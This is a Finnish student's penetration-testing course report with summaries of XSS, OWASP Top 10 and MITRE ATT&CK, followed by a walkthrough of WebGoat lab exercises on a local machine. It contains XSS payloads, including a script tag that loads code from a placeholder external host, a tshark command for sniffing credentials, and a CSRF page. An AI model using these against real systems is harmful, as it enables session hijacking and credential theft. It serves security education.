Tunkeutumistestaus vko. 3

Attaaack!

Raportissa on vastaukset Haaga-Helia Ammattikorkeakoulu Tunkeutumistestaus -opintojakson tehtäviin. Kurssi perustuu Tero Karvisen materiaaleihin.

Kirjoittamani materiaali saa muuttaa, jakaa, käyttää ja kopioida GNU General Public License v.3.0 mukaisesti.

Tehtävänanto

Vinkit

  • XSS, cross site scripting. Mieti, miten tällä murtaudutaan jonnekin.
  • ATT&CK FAQ voi auttaa käsitteiden hahmottamisessa
  • Muista merkitä, mihin kohtaan (a, b, c…) mikäkin osa vastaustasi vastaa
  • Authentication Bypasses: F12 Inspector muokkaa myös HTML-lomakkeita.
  • Insecure login: snifferin käyttö on tässä realistisempaa kuin F12, joten esim ‘wireshark’, “tshark -i any -V -Y ‘http.request.method == POST'” tai ‘sudo ngrep -d lo assword’.
  • A7:2017 Cross Site Scripting: JavaScript-bookmarkletit eivät oletuksena toimi enää monissa selaimissa, käytä JavaScriptin ajamiseen F12 Console. Cross Site Scripting: script-tagit. “Try It! Reflected XSS” on läpi, kun yllä numeron tausta muuttuu vihreäksi, vaikka se sanoo “Well done, but … Please continue.”.
  • “Identify potential for DOM-Based XSS”: jos löysit jo oikean kohdan JavaScriptistä ja kokeilit yhtä monta vaihtoehtoa kuin moolissa on rakenneyksiköitä, lunttaa oikea palautusmuoto netistä ja jatka eteenpäin.
  • Basic Get CSRF Exercise: tee oma weppisivu. Jos file:// ei toimi, ‘python3 -m http.server’ tai Apache httpd.
  • Uudesta OWASP top 10 – 2021 ei ole vielä (w45 ti 2021-11-09) julkaistu PDF-versiota. Voit lukea uutta OWASP Top 10 – 2021 versiota wepistä
  • Attakin alatekniikat: tässä ei tarvitse tehdä kokonaista kybertappoketjua A:sta Ö:hön, sillä yksittäiset tekniikat yleensä tekevät vain pikkuruisen osan kokonaisesta hyökkäyskampanjasta.

x) Lue/katso/kuuntele ja tiivistä. Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen ja tiivistelmä riittää). Tiivistä ranskalaisilla viivoilla.

€ Percival & Samancioglu 2020: The Complete Ethical Hacking Course (video): Chapter 21: Cross Site Scripting (7 videota, noin 25 min)
  • Hyökkääjä asettaa sivulle koodin, joka ajetaan aina kun käyttäjä suorittaa sivulatauksen
  • Injektoitua koodia ei ajeta palvelimella vaan selaimessa
  • Heijastettu XSS-hyökkäys
    • URLiin on piilotettu koodia, joka ajetaan sivulatauksen yhteydessä
  • Tallennettu XSS-hyökkäys
    • Hyökkääjä asettaa haittakoodin esim. keskustelualueen kommenttikenttään, joka ajetaan aina sivulatauksen yhteydessä
    • <script src="http://foo.bar/haitta.js></script>
      • Haittaohjelma ajetaan toiselta palvelimelta
  • BeEF pentest-työkalu
  • Suojaudu XSS
    • Vältä epäilyttäviä sivuja
    • Voit lisätä poikkeuksia, jossa JavaScriptin ajaminen estetään
      • esim. Chromessa: Settings -> Advanced -> Privacy and security -> Content settings -> JavaScript -> Lisää poikkeuksia
      • Myös muut selaimet tarjoavat mahdollisuuden estää JavaScriptin suorittamisen
OWASP 10 2017 (pdf) A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting. (Poimi kustakin kolmesta hyökkäyksestä, miten ne käytännössä tehdään)

A2 Broken Authentication

  • Käyttäjän tunnistautumisprosessi ei ole turvallinen
  • Hyökkäjä voi kaapata tunnistautumissession
  • Prosessi salasanan palauttamiselle on heikko ja suojaamaton
  • Sivusto ei luo back-endissä kryptattuja sessio-tunnuksia, ne paljastetaan URLissa tai niitä ei tuhota session päätyttyä

  • Sivusto ei tunnista automatisoituja hyökkäyksiä, joissa käytetään vuodettuja käyttäjätunnus-salasana-pareja
    • Hyökkääjä automatisoi hyökkäyksen ja testaa toimivat parit vuodetuista tietomurroista
  • Kaksivaiheisen tunnistautumisen laiminlyönti ja tiheä salasanojen vaihtosykli ampuu itseään jalkaan: työntekijät turhautuvat vaihtosykliin ja tämän vuoksi käyttävät heikkoja salasanoja tai kierrättävät vanhoja salasanoja
    • Hyökkääjä tiedostaa ilmiön ja osaa kohdistaa käyttämänsä salasanat helppoihin salasanoihin
  • Käyttäjä kirjautuu sisään palveluun, sulkee selaimen ja poistuu tietokoneelta
    • Palveluun ei ole määritelty aikakatkaisua, jonka jälkeen käyttäjä kirjataan automaattisesti ulos
      • Hyökkääjällä on vapaa pääsy kohdejärjestelmään ja/tai kohteen tietoihin

A3 Sensitive Data

  • Arkaluontoista dataa, kuten salasanoja, potilastietoja, pankkikorttinumeroita tai lainsäädännön alaisia tietoja liikkuu päätelaitteiden välillä suojaamattomana ja selväkielisenä
  • Suojauksissa käytetään heikkoja tai vanhentuneita algoritmeja
  • Kryptatun tiedon pakkaamiseen ja/tai avaamiseen käytetyt avaimet on oletusarvoisia, heikkoja tai niiden hallinnassa on heikkouksia
  • Client-sovellus ei validoi palvelin-serfifikaattia
  • Tunnista suojausta vaativa data, suojaa se tarpeiden mukaan
  • Älä tallenna arkaluontoista tietoa turhaan
  • Käytä ajantasalla olevia standardeja, protokollia ja suojausalgoritmeja
  • Sovellus suojaa datan automaattisesti, kun se tallennetaan tietokantaan
    • Noudettaessa suojaus puretaan automaattisesti, joka mahdollistaa datan vuotamisen selväkielisenä SQL-injektion avulla
  • Sivusto ei kokonaisuudessaan suojaa web-sovelluksensa tietoliikennettä (TLS)
    • Hyökkääjä valvoo sivuston verkkoliikennettä, kaappaa käyttäjän istuntoevästeen siirryttäessä suojatulta sivulta suojaamattomaan (HTTPS -> HTTP) ja kaappaa käyttäjän session.
  • Salasanatietokannan sisältöä ei ole suolattu ja ne on heikosti tiivistetty
    • Jos hyökkääjä tietää salausavaimen pituuden voidaan hyökkäyksessä käyttää esilaskettujen tiivistefunktioiden listaa

A7 Cross Site Scripting

  • Heijastettu XSS-hyökkäys
    • haitallista sisältöä näytetään käyttäjän selaimessa
    • haitallinen sisältö kirjoitetaan selaimeen palvelimen lähettämän vastauksen (sivulatauksen) jälkeen
    • vaatii käyttäjämanipulaatiota
  • Tallennettu XSS-hyökkäys
    • haittallinen sisältö on tallennettu palvelimelle (tietokantaan), joka sivulatauksen yhteydessä näytetään ja suoritetaan käyttäjän selaimessa
    • käyttäjämanipulaatiota ei vaadita
  • DOM XSS-hyökkäys
    • hyökkäyksessä hyödynnetään web-appin rakenteen heikkouksia
  • Hyökkääjä injektoi ja tallentaa haittakoodin sivustolle, mikä ajetaan aina sivulatauksen yhteydessä
    • Haittakoodi voidaan injektoida esimerkiksi suojaamattoman tekstikentän avulla keskustelualueelle. Koodi ajetaan aina, kun kuka tahansa siirtyy lukemaan viestiketjua
    • Haittakoodi on voitu asettaa sivustolle aiemman hyökkäyksen yhteydessä

MITRE 2021: ATT&CK Enterprise Matrix. (Selitä tiivistelmässä käsitteet tactic, technique, procedure. Selitä kukin taktiikka (tactic) ja anna kustakin taktiikasta esimerkkitekniikka (technique tai subtechnique).
TacticSuomeksiKäytännössäEsimerkki
ReconnaissanceTiedusteluHyökkääjä tutkii kohdetta aktiivisesti ja/tai passiivisesti.Aktiivisessa tiedustelussa hyökkääjä suorittaa kohdekoneeseen porttiskannauksen ja saa selville avoinna olevat portit ja niiden demonit.
Resource DevelopmentResurssien kehittäminenHyökkääjä kerää hyökkäyksessä käytettäviä työkaluja ja resursseja.Hyökkääjä hankkii malwarea, jota aikoo käyttää mahdollistamaan kohdekoneen etähallinnan.
Initial AccessEnsimmäinen pääsyHyökkääjä hankkii jalansijan kohdejärjestelmään ja tunkeutuu sisään ensimmäisen kerran.Kohdejärjestelmän kirjautumistietoja ei ole vaihdettu oletustunnuksista turvallisempiin, joka mahdollistaa hyökkääjälle ensimmäisen pääsyn järjestelmään.
ExecutionSuorittaminenKohdejärjestelmässä ajetaan haittaohjelmia tai koodia. Hyökkääjä asentaa kohdejärjestelmään malwarea, joka mahdollistaa etähallinnan.
PersistencePysyvyyden varmistusEnsimmäisen pääsyn jälkeen hyökkääjä haluaa mahdollistaa pääsyn järjestelmään esim. kohdekoneen uudelleenkäynnistyksen jälkeen.Hyökkääjä luo uuden käyttäjän kohdejärjestelmään, joka mahdollistaa pääsyn takaisin järjestelmään.
Privilege EscalationKäyttäjäoikeuksien eskalointiHyökkääjä pyrkii järjestelmässä kohti korkeampia käyttäjäoikeuksia.Hyökkääjä pääsee käsiksi admin-tason käyttäjäoikeuksiin, luo yhteyden palvelimelle. Palvelimella root-käyttäjän salasana on oletusarvoinen eikä sen sisäänkirjautumista ole estetty.
Defense EvasionVirustorjunnan väistelyHyökkääjä luovii kohdejärjestelmässä, väistelee varashälyttimiä ja yrittää pysyä piilossa.Hyökkääjä peukaloi /var/log/ -hakemiston lokitiedostoja, joista voisi paljastua tunnistamaton sisäänkirjautuminen.
Credential AccessTunnistetietojen käyttöHyökkääjän tarkoituksena on kerätä järjestelmän käyttäjätunnus-salasana-pareja.Hyökkääjä automatisoi brute force hyökkäyksen, joka arvailee tunnus-salasana-pareja niin kauan, kunnes oikea pari löytyy.
DiscoveryKohdejärjestelmän opiskelu ja tutkiminenHyökkääjä kartoittaa kohdeympäristöä.Hyökkääjä suorittaa porttiskannauksen. Skannaus paljastaa, että portti on avoin ja että sieltä vastaa demoni, jonka version tiedetään olevan haavoittunut.
Lateral MovementSivuttaissiirtymäHyökkääjä liikkuu kohdejärjestelmässä.Hyökkääjä on päässyt käsiksi yrityksen työntekijän tunnuksiin ja pääsee näitä tunnuksia hyödyntäen kirjautumaan sisään muihin yrityksen käyttämiin sisäisiin palveluihin, jotka voivat paljastaa arkaluontoisempaa materiaalia.
CollectionTiedonkeruuHyökkääjä kerää tietoa kohdejärjestelmän sisältä saavuttaakseen tavoitteensa.Hyökkääjä on päässyt käsiksi yrityksen käyttämään versiohallintaan, josta voi varastaa kohdejärjestelmän kehittämät lähdekoodit ja sen dokumentaation.
Command and ControlHallinta/etähallintaHyökkääjä käyttää ja hallitsee kohdejärjestelmää.Hyökkääjällä on pääsy yrityksen helpdeskin käyttämiin etähallintaohjelmiin ja pääsee tämän avulla käsiksi koneisiin, joihin etähallintaohjelma on asennettu.
ExfiltrationTietojen saaminen ulos kohdejärjestelmästäHyökkääjä kuljettaa varastetun datan ulos kohdejärjestelmän verkosta. Hyökkääjä suorittaa ajastettuja tiedonsiirtoja, jotta voi naamioida liikenteen ja matkiakseen normaalia tietoliikennettä, jotta esim. äkkinäisen suuren datamäärän siirtäminen ei paljastaisi vuotoa.
ImpactVaikutusHyökkääjä vaarantaa tiedon saatavuutta, luottamuksellisuutta ja/tai eheyttä. Hyökkääjä tuhoaa kohdejärjestelmän tietokannat.

z) Cross site story. Kirjoita kuvitteellinen esimerkki XSS-hyökkäyksestä. Tee mahdollisimman yksinkertainen esimerkki. Voit vaikkapa ottaa haltuun weppisivun ylläpitäjän oikeudet viemällä keksin. Tässä alakohdassa ei tarvitse tehdä mitään tietokoneella, pelkkä tarina riittää. Tarkoituksena on ymmärtää XSS-hyökkäyksen kokonaisuus ennen sormiharjoituksia. Voi halutessasi myös piirtää itse kaavion / sarjakuvan.

Tee selväksi ja erottele:

  • Mitä hyökkääjä tekee?
  • Mitä kohdehenkilö tekee?
  • Mitä sivua / palvelinta kohdehenkilö surffailee?
  • Missä JavaScriptit ajetaan?
  • Miten keksi päätyy hyökkääjälle?
  • Miten hyökkääjä hyödyntää keksiä?
  • Mitä hyökkääjä pääsee tekemään (mikä ei onnistuisi ilman hyökkäystä)?

Hyökkääjä havaitsee verkkokauppasivustolla XSS-havoittuvuuden ja lisää tuotearvostelukenttään haittakoodia <script> tagien sisään. Kohdekäyttäjä kirjautuu sivustolle ja avaa tuotesivun. Sivulatauksen yhteydessä selaimessa ajetaan hyökkääjän kirjoittama koodi, joka lähettää käyttäjän istuntoevästetiedot hyökkääjälle. Nyt hyökkääjä voi kaapata istunnon ja esiintyä käyttäjänä.

a) Vuohen uudet seikkailut. Ratkaise WebGoatista tehtävät

A2 Broken authentication

Authentication bypasses: 2 2FA Password Reset

Hyökkääjä voi yrittää ohittaa käyttäjäautentikoinnin peukaloimalla sovelluksen logiikkaa tai hyödyntämällä heikkouksia.

Tehtävässä käyttäjä on lähettänyt salasanan palauttamiseen vaaditun käyttäjänimen ja sähköpostiosoitteen ja seuraavaksi pitäisi vastata oikein käyttäjän määrittämiin vahvistuskysymyksiin. Kirjoitin niihin testisanat ja painoin submit.

Developer Toolsin Network-välilehdeltä etsin oikean HTTP-pyynnön.

Pyyntö ja sen sisältö.

Matka tyssäsi heti kuin seinään. Googlasin apua ja löysin aiemman kurssitoteutuksen käyneen, nimimerkin arbexamin, raportit. arbexam kirjoitti, että Inspectorin avulla löytyy piilotettu lomake. Lopetin lukemisen tähän ja siirryin tarkastelemaan sivun lähdekoodia.

Lähdekoodista löytyi piilotettu lomake.

Poistin style="display:none" määrittelyn ja esiin tuli lomake, jolla voi määritellä uuden salasanan. Lähetin testiksi lomakkeella uuden salasanan, mutta selaimeen ei tulostunut mitään ilmoitusta. Etsin HTTP-pyynnön Network-välilehdeltä, josta löysin 400 – Bad Request.

Network-välilehden HTTP-pyyntö.

Pyyntö kertoo, että virhe tapahtuu client-päässä. Tutkin muita välilehtiä. “Response” välilehdeltä löysin, että parametri verifyMethod puuttuu.

Response-välilehti.

Palasin takaisin Inspectoriin, josta etsin hakusanalla verifyMethod. Löysin lisää piilokenttiä.

Lähdekoodissa oli lisää piilotettuja kenttiä.
Sivulle ilmestyi lisää tekstikenttiä.

Nyt HTTP-pyyntö onnistui.

Pyynnön Request-välilehti.
Pyynnön Response-välilehti.

Siirryin takaisin Inspectoriin, piilotin jsEnabled ja userid – kentät ja lähetin uuden pyynnön painamalla Submit.

Ilmeisesti verifyMethodilla määritetään tapa, millä henkilöllisyys varmistetaan, sillä nyt se on “SEC_QUESTIONS“. Userid on käyttäjäid. jsEnabled=1 viittaisi siihen, että jossakin käytetään JavaScriptiä. Etsin jsEnabled kentän, vaihdoin arvoksi 0 ja painoin Submit. Ei tuloksia.

Palasin takaisin selaamaan Inspectoria. Lähdekoodissa juuri ennen lomakkeita on <script> tagien välissä koodi, joka viittaa nimellään jonkin ohittavaan toimintaan.

Voisikohan jsEnabled = 1 viitata tähän? Poistan koko rivin, lähetän lomakkeen ja tarkastelen tuloksia. Ei apuja. Aiemmissa tehtävissä yläreunassa on ollut vihjepainike, mutta tässä ei. Kun kerran tehtävässä on ollut piilotettuja kenttiä, niin voisiko tämäkin olla piilotettu?

Piilotetut vihjeet.

Olihan ne. Mitään ei tapahdu, joten takaisin Inspectoriin.

Nämäkin oli piilossa.

Ei toimi ei. Painan Reset lessonia ja aloitan alusta: vihjenappula ilmestyi ja nyt se jopa antaa viheitä!

You do want to tamper the security question parameters, but not delete them

The logic to verify the account does expect 2 security questions to be answered, but there is a flaw in the implementation

Tässä vaiheessa yrityksiä on taustalla jo todella monta, enkä enää tiedä mitä olen kokeillut.

Have you tried renaming the secQuestion0 and secQuestion1 parameters?

Mielestäni olen?

Muokatut parametrit.

Uusi yritys.

Uudelleen nimetyt parametrit.

No en ollutkaan testannut. Vihdoin onnistui, mutta miksi? Pitää selvittää tulevan luennon aikana.

Onnistunut yritys.
A3 Sensitive data exposure

Insecure Login: 2 Let’s try

Kryptaamaton verkkoliikenne voi aiheuttaa vakavia tietoturvaongelmia. Tehtävän tarkoituksena on klikata “Log in” painiketta ja kaapata verkkoliikenteen kryptaamaton liikenne käyttäen snifferiä.

Sniffereiden käyttö on kokonaan uutta. Tero kirjoitti tehtävän vinkkeihin, että Developer Toolsin Network-välilehden tarkastelun sijaan parempi vaihtoehto olisi käyttää esimerkiksi tshark -i any -V -Y 'http.request.method == POST' komentoa.

  • -i tarkasteltava verkko
  • any tarkastellaan mitä tahansa verkkoa
  • -V tulostaa terminaaliin paketin tietoineen
  • -Y toiminto, minkä pitää tapahtua ennen paketin tulostamista terminaaliin
Painike kutsuu POSTmetodia

tshark havaitsi etsimäni paketin ja tulosti sen sisältöineen terminaliin. Paketin viimeisimmiltä riveiltä löytyi tunnukset kryptaamattomina:

Kirjautumistiedot
Syötin em. tiedot toisiin kenttiin ja painoin Submit.
A7 Cross Site Scripting (XSS): Cross site scripting

2 What is XSS?

Osiossa esitellään cross-site scriptingiä ja tapoja toteuttaa sitä. XSS:n avulla hyökkääjä voi suorittaa toimintoja, jotka eivät olleet web-applikaation alkuperäisen toteuttajan suunnitelmissa. Sivu on haavoittuva Cross-Site Scriptingille, mikäli käyttäjän syöttämää htm/script syötettä ei sanitoida. Pahimmillaan

  • arkaluontoista dataa, kuten istuntoevästeitä, voidaan varastaa ja hyödyntää kohdetta vastaan
  • käyttäjäsyötettä, kuten salasanoja, kerätään tekaistuilla tekstikentillä
  • kohde johdatetaan haittasivustoille
  • kohteen selaimessa ajetaan haittakoodia.

Avasin toisen välilehden johon syötin Lesson 2-urlin. Avasin molemmista F12 Developer Toolsin consolen ja syötin JavaScript-funktion alert.(document.cookie) . Eväste oli molemmissa sama.

Molemmilla välilehdillä evästeet olivat samat.

7 Try It! Reflected XSS

Tehtävän tarkoituksena on selvittää kenttä, joka on altis Cross-Site Scriptingille. Lähtökohtaisesti kaikki käyttäjäsyöte tulisi validoida palvelimella, jotta XSS-vaaraa ei ole. Vaihdoin kenttien arvoja ja aloitin painamalla “Purchase”.

Mitään ei tapahtunut. Viime kerrasta oppineena katsoin ensimmäisen vinkin heti kättelyssä

Think about how the inputs are presumably processed by the application.

Tutkin lomaketta Inspectorissa. Lomakkeen luokalle on annettu arvoksi attack-form, joka on itsessään jo ensimmäinen vihje. lomakkeen metodi on GET, vaikka sen pitäisi olla POST; lomakkeella nimenomaan lähetetään dataa. Tässä vaiheessa syötin HTTP-POST-pyyntöjä seuraavan komennon tshark -i any -V -Y 'http.request.method == POST'. Vaihdoin Inspectorissa metodin POST ja painoin “Purchase”. tshark nappasi paketin ja tulosti sen sisällön, joka ei läpiluvun jälkeen tuntunut antavan mitään vinkkiä.

$ tshark -i any -V -Y 'http.request.method == POST' 
Capturing on 'any'
Frame 57634: 653 bytes on wire (5224 bits), 653 bytes captured (5224 bits) on interface any, id 0                                                                                              
    Interface id: 0 (any)                                                                                          
        Interface name: any                                                                                        
    Encapsulation type: Linux cooked-mode capture v1 (25)                                                          
    Arrival Time: Nov 12, 2021 22:04:06.655843249 EET                                                              
    [Time shift for this packet: 0.000000000 seconds]                                                              
    Epoch Time: 1636747446.655843249 seconds                                                                       
    [Time delta from previous captured frame: 1.201414731 seconds]                                                 
    [Time delta from previous displayed frame: 0.000000000 seconds]                                                
    [Time since reference or first frame: 162.176274351 seconds]                                                   
    Frame Number: 57634                                                                                            
    Frame Length: 653 bytes (5224 bits)                                                                            
    Capture Length: 653 bytes (5224 bits)                                                                          
    [Frame is marked: False]                                                                                       
    [Frame is ignored: False]                                                                                      
    [Protocols in frame: sll:ethertype:ip:tcp:http:urlencoded-form]                                                
Linux cooked capture v1                                                                                            
    Packet type: Unicast to us (0)                                                                                 
    Link-layer address type: Loopback (772)                                                                        
    Link-layer address length: 6                                                                                   
    Source: 00:00:00_00:00:00 (00:00:00:00:00:00)                                                                  
    Unused: 6361                                                                                                   
    Protocol: IPv4 (0x0800)                                                 
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1                 
    0100 .... = Version: 4                                                  
    .... 0101 = Header Length: 20 bytes (5)                                 
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)           
        0000 00.. = Differentiated Services Codepoint: Default (0)          
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)                                                                     
    Total Length: 637                                                       
    Identification: 0x32be (12990)                                          
    Flags: 0x40, Don't fragment                                             
        0... .... = Reserved bit: Not set                                   
        .1.. .... = Don't fragment: Set                                     
        ..0. .... = More fragments: Not set                                 
    Fragment Offset: 0                                                      
    Time to Live: 64                                                        
    Protocol: TCP (6)                                                       
    Header Checksum: 0x07bb [validation disabled]                           
    [Header checksum status: Unverified]
    Source Address: 127.0.0.1
    Destination Address: 127.0.0.1
Transmission Control Protocol, Src Port: 60674, Dst Port: 8080, Seq: 23149, Ack: 135332, Len: 585
    Source Port: 60674
    Destination Port: 8080
    [Stream index: 4]
    [TCP Segment Len: 585]
    Sequence Number: 23149    (relative sequence number)
    Sequence Number (raw): 3099972929
    [Next Sequence Number: 23734    (relative sequence number)]
    Acknowledgment Number: 135332    (relative ack number)
    Acknowledgment number (raw): 3764096566
    1000 .... = Header Length: 32 bytes (8)
    Flags: 0x018 (PSH, ACK)
        000. .... .... = Reserved: Not set
        ...0 .... .... = Nonce: Not set
        .... 0... .... = Congestion Window Reduced (CWR): Not set
        .... .0.. .... = ECN-Echo: Not set
        .... ..0. .... = Urgent: Not set
        .... ...1 .... = Acknowledgment: Set
        .... .... 1... = Push: Set
        .... .... .0.. = Reset: Not set
        .... .... ..0. = Syn: Not set
        .... .... ...0 = Fin: Not set
        [TCP Flags: ·······AP···]
    Window: 10226
    [Calculated window size: 10226]
    [Window size scaling factor: -1 (unknown)]
    Checksum: 0x0072 [unverified]
    [Checksum Status: Unverified]
    Urgent Pointer: 0
    Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - Timestamps: TSval 2860492258, TSecr 2860487356
            Kind: Time Stamp Option (8)
            Length: 10
            Timestamp value: 2860492258
            Timestamp echo reply: 2860487356
    [SEQ/ACK analysis]
        [Bytes in flight: 585]
        [Bytes sent since last PSH flag: 585]
    [Timestamps]
        [Time since first frame in this TCP stream: 161.719235735 seconds]
        [Time since previous frame in this TCP stream: 4.902251056 seconds]
    TCP payload (585 bytes)
Hypertext Transfer Protocol
    POST /WebGoat/CrossSiteScripting/attack5a HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): POST /WebGoat/CrossSiteScripting/attack5a HTTP/1.1\r\n]
            [POST /WebGoat/CrossSiteScripting/attack5a HTTP/1.1\r\n]
            [Severity level: Chat]
            [Group: Sequence]
        Request Method: POST
        Request URI: /WebGoat/CrossSiteScripting/attack5a
        Request Version: HTTP/1.1
    Host: localhost:8080\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n
    Accept: */*\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate\r\n
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n
    X-Requested-With: XMLHttpRequest\r\n
    Content-Length: 65\r\n
        [Content length: 65]
    Origin: http://localhost:8080\r\n
    Connection: keep-alive\r\n
    Referer: http://localhost:8080/WebGoat/start.mvc\r\n
    Cookie: JSESSIONID=NVtD_RxA45M5FOB2cD6Ef3A_W-vrts4yJBtW-Ed6\r\n
        Cookie pair: JSESSIONID=NVtD_RxA45M5FOB2cD6Ef3A_W-vrts4yJBtW-Ed6
    \r\n
    [Full request URI: http://localhost:8080/WebGoat/CrossSiteScripting/attack5a]
    [HTTP request 53/53]
    [Prev request in frame: 56563]
    File Data: 65 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "QTY1" = "1"
        Key: QTY1
        Value: 1
    Form item: "QTY2" = "2"
        Key: QTY2
        Value: 2
    Form item: "QTY3" = "3"
        Key: QTY3
        Value: 3
    Form item: "QTY4" = "4"
        Key: QTY4
        Value: 4
    Form item: "field1" = "4128 3214 0002 1999"
        Key: field1
        Value: 4128 3214 0002 1999
    Form item: "field2" = "111"
        Key: field2
        Value: 111

Network välilehdeltä huomasin 405: Method Not Allowed virheilmoituksen.

Lähdin tutkimaan Debugger-välilehden sisältöä, jossa tarkastelin miten sivusto on rakennettu. Käytössä on MVC-arkkitehtuuri, jossa näkymän (view) käyttöliittymästä ohjain (controller) ottaa vastaan käyttäjäsyötteen (HTTP-pyyntö), ohjaa sen tietokannan kanssa kommunikoivalle mallille (model) ja palauttaa HTTP-vastauksen ohjaimen kautta takaisin näkymälle, eli käyttäjän web-selaimeen.

Vihjeenä oli perehtyä siihen, että miten sovellus prosessoi käyttäjäsyötettä. Tämän vuoksi aloitin tutkimisen .../view/ hakemistosta. GoatRouter.js tiedostosta löysin sinne kuulumattoman funktion

        setUpCustomJS: function () {
            webgoat.customjs.jquery = $; //passing jquery into custom js scope ... still klunky, but works for now
            webgoat.customjs.jqueryVuln = $vuln;

            // shim to support xss lesson
            webgoat.customjs.phoneHome = function (e) {
                console.log('phoneHome invoked');
                webgoat.customjs.jquery.ajax({
                    method: "POST",
                    url: "/WebGoat/CrossSiteScripting/phone-home-xss",
                    data: {param1: 42, param2: 24},
                    headers: {
                        "webgoat-requested-by": "dom-xss-vuln"
                    },
                    contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
                    success: function (data) {
                        //devs leave stuff like this in all the time
                        console.log('phone home said '  + JSON.stringify(data));
                    }
                });
            }

        },

Syötin consoleen funktion webgoat.customjs.phoneHome()

Funktion palauttama data.

Vaikuttaa ihan hyvältä, mutta vielä en tiedä, miten tehtävä loppupeleissä läpäistään. Arvo phoneHome Response is 97198844 vaikuttaa numerosarjalta, jolla voisi olla merkitystä tehtävän läpäisyyn. Palasin Inspectoriin tarkastelemaan, että onko sivulla piilossa tekstikenttää, johon numerosarjan voisi syöttää. Löysin piilotetun div, jossa oli linkki.

Linkki palautti JSON objektin.

Tehtävän ratkaisu tuntuu olevan nyt selvillä. XSS altis kenttä on pankkikortin numerosarjalle tarkoitettu kenttä.

Läpäisty tehtävä.

10 Identify potential for DOM-Based XSS

Taisin vahingossa ratkaista tämän tehtävän jo edellisen tehtävän aikana. Tarkoituksena on etsiä lähdekoodiin jäänyt testaamiseen tarkoitettu koodinpätkä ja siihen osoittava reitti.

Tehtävän esimerkissä annetaan reittiesimerkki /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9, jossa perusreitti on start.mvc#lesson/. Avasin Developer Toolsin Debugger -välilehden ja etsin DOM-puusta GoatRouter.js, josta löysin reittien syntaksin määrittelyn.

Reittien syntaksin määrittely.

Noudatin logiikkaa ja testasin reittiä http://localhost:8080/WebGoat/start.mvc#test/testi. Sivulle ilmestyi sana “teksti” ja konsoleen ilmestyi LessonController.js testikäsittelijän lokitus.

Tein uuden sivulatauksen ja tarkastelin muita lokituksia.

Ensimmäinen lokitus tulee luokasta goatApp.js, jossa luodaan uusi goatRouter -olio kutsumalla GoatRouter.js luokan Router-konstruktioria.

Konstruktorikutsu
Konstruktori asettaa goatRouter-oliolle määritetyt arvot.

Router-olion sisälle luodaan samalla tyhjät oliomuuttujat webgoat ja webgoat.customjs, jolla kutsutaan koodiin jäänyttä testifunktiota phoneHome().

Aiemmin totesin, että reitille 'test/:param': 'testRoute' ei ollut virhetoleranssia. Kokeilin reitin 'lesson/:name': 'lessonRoute' virhetoleranssia.

Virhetilanne käsitellään backendissa

Haavoittuva reitti on 'test/:param': 'testRoute'. Oikea vastaus ei meinannut löytyä millään. Kokeilin useita eri variaatioita, kunnes tarkastin oikean vastauksen. Vastaukseni oli oikea, mutta liian pitkässä muodossa; yritin syöttää urlia kokonaisuudessaa. Oikeaan vastaukseen riitti start.mvc#test.

11 Try It! DOM-Based XSS

Nyt funktiota pystyy ajamaan suoraan URLin kautta.

http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome();</script>.

No eipä pystykään. Useita variaatoita myöhemmin piti käydä kurkkaamassa vastaus Arbexamin raportista. Sulkeva tagi pitääkin jättää pois. Ilmeisesti selain lisää sen automaattisesti.

http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome();

Consoliin lokittunut vastaus.
Inspectorin näkymä. Sulkeva </script> tagi lisätään automaattisesti.

12 Quiz

  1. Selain voi tunnistaa sivun turvalliseksi, mutta ei tunnista ajettavaa haitallista toimintoa
  2. Sivulle dynaamisesti syötettyä dataa ei validoida ja sanitoida
  3. Haittakoodi on syötetty selaimen kautta palvelimelle, joka uuden sivulatauksen yhteydessa haetaan palvelimelta ja suoritetaan selaimessa
  4. Injektoitu koodi on osa palvelimelle lähetettävää HTTP-pyyntöä
  5. Cross-Site Scriptingiä voidaan toteutta nillä kielillä ja tekniikoilla, joita ajetaan selaimessa (HTML, Flash, JavaScript…)
(A7) Cross Site Scripting suoritettu
A8:2013 Request Forgeries

Cross-Site Request Forgeries

3 “Basic Get CSRF Exercise”

Cross-Site Forgeryssa hyödynnetään sivun luottamusta käyttäjän selaimeen. Tehtävässä vaaditaan WebWolfia. Käynnistin ja avasin sen selaimeen. Tehtävässä painikkeen klikkaus ja lomakkeen lähetys pitää toteuttaa ulkopuolelta.

Inspectorissa näkyi piilotettu csrf-kenttä, johon oli määrelty arvoksi false.

Kalin mukana tuli Apache2-webserver. Potkaisin sen käyntiin $ sudo systemctl restart apache2.service ja tarkastin selaimessa http://localhost sen toimivuuden.

Apache2 käynnissä

Tarkastelin WebGoatin Inspectoria, josta näin end-pointin, jota painikkeella kutsutaan.

Action

Korvasin Apache2 default-sivun omalla $ sudo nano /var/www/html/index.html. Lisäsin painikkeen, jonka tarkoituksena on suorittaa Webgoatin lomakkeen lähetys. Lisäsin linkkiin XSS, missä haetaan näytettävältä sivulta elementtejä getElementsBy ja klikataan niitä click().

// $ cat /var/www/html/index.html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>foo</title>
  </head>
  <body>
    <p>
      <a href="http://localhost:8080/WebGoat/start.mvc#test/<script>document.getElementsByName("button").click();/">click me</a>
    </p>
  </body>
</html>

Klikkasin linkkiä. Ilmeisesti lainausmerkit " eivät toimi tässä.

JavaScript komento katkeaa lainausmerkkeihin.

